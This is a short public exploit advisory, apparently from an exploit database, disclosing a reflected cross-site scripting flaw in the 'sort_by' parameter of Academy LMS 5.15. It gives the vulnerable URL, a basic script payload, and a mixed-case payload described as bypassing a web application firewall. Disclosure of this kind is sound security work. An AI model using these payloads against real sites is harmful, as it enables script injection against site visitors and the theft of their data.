Authored by CraCkEr

Academy LMS version 5.15 suffers from a cross site scripting vulnerability.

# Exploit Title: Academy LMS 5.15 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 09/07/2023
# Vendor: Creativeitem
# Vendor Homepage: https://creativeitem.com/
# Software Link: https://demo.creativeitem.com/academy/
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site



## Description

Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.



Path: /home/courses

GET parameter 'sort_by' is vulnerable to XSS

https://website/home/courses?category=photoshop&price=all&level=all&language=all&rating=all&sort_by=[XSS]

Simple XSS Payload (Blocked by WAF) : <script>alert(1)</script>
XSS Filter Bypass : ldt4d"><ScRiPt>alert(1)</ScRiPt>nuydd


[-] Done